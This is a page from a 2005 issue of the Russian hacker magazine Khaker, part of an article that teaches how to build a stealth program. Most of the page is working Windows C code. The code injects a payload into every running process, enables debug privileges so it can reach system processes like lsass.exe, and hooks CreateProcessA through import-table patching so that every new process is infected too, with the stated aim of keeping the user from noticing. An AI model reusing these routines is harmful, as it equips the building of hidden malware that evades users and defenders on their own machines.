Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #75, МАРТ 2005 г.

Программа-невидимка

Николай "GorluM" Андреев

Хакер, номер #075, стр. 075-110-3


BOOL WINAPI InjectAndRunAll(DWORD (WINAPI *func)(LPVOID))

{

BOOL ret, flag = TRUE;

HANDLE m_Snap = INVALID_HANDLE_VALUE;

PROCESSENTRY32 pe = {sizeof(pe)};

// EnableDebugPrivilege(true);

m_Snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);

if (m_Snap == INVALID_HANDLE_VALUE)

return NULL;

if (!Process32First(m_Snap, &pe))

return NULL;

do {

if (pe.th32ProcessID == GetCurrentProcessId()) continue;

ret = InjectAndRun(func,pe.th32ProcessID);

} while (Process32Next(m_Snap, &pe));

// EnableDebugPrivilege(false);

return NULL;

}

Обрати внимание на закомментированные строки вызова функции EnableDebugPrivilege. Дело в том, что для полной уверенности, что пользователь нас не заметит в системе, нужно инжектироваться и в системные процессы вроде lsass.exe, доступ в которые обычным приложениям запрещен. Функция EnableDebugPrivilege просто даст нам необходимые для этого привилегии (SE_DEBUG_NAME).

Привилегии отладчика у нас в кармане

BOOL WINAPI EnableDebugPrivilege(bool fEnable)

{

HANDLE hToken; BOOL ret;

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))

return FALSE;

TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1;

ret = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

if (!ret) return FALSE;

tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;

ret = AdjustTokenPrivileges(hToken, false, &tp, sizeof(tp), NULL, NULL);

if (!ret) return FALSE;

CloseHandle(hToken);

return TRUE;

}

Но, так как мы не воспользовались хуком для внедрения кода, нам придется самим позаботиться о всех процессах, созданных уже после глобального инжектирования. Самым разумным было просто перехватить функции CreateProcessA и CreateProcessW (ANSI и UNICODE версии), чтобы получить данные о свежесозданном процессе и инжектировать в него свой код. Для этого напишем функцию перехватчик примерно вот так:

BOOL WINAPI xCreateProcessA(LPCSTR lpApplicationName,

LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,

LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles,

DWORD dwCreationFlags, LPVOID lpEnvironment,

LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo,

LPPROCESS_INFORMATION lpProcessInformation)

{

BOOL ret = CreateProcessA(lpApplicationName, lpCommandLine, lpProcessAttributes,lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);

BOOL b = InjectAndRun(FStealth, lpProcessInformation->dwProcessId);

return ret;

}

Как видишь, она объявляется абсолютно также как и оригинал, запускает сама перехватываемую функцию, получает pid процесса, ижектирует в него свой код и возвращает результат вызвавшей ее программе. Как реализацию перехвата API методом модификации таблицы импорта я вначале использовал функцию Рихтера, но чем больше разбирался с проблемой, тем больше ее модифицировал - в итоге осталось одно название и смысл:

ReplaceIATEntryInAllMods("kernel32.dll", GetProcAddress( GetModuleHandle("kernel32.dll"), "CreateProcessA"), (PROC)xCreateProcessA);

Назад на стр. 075-110-2  Содержание  Вперед на стр. 075-110-4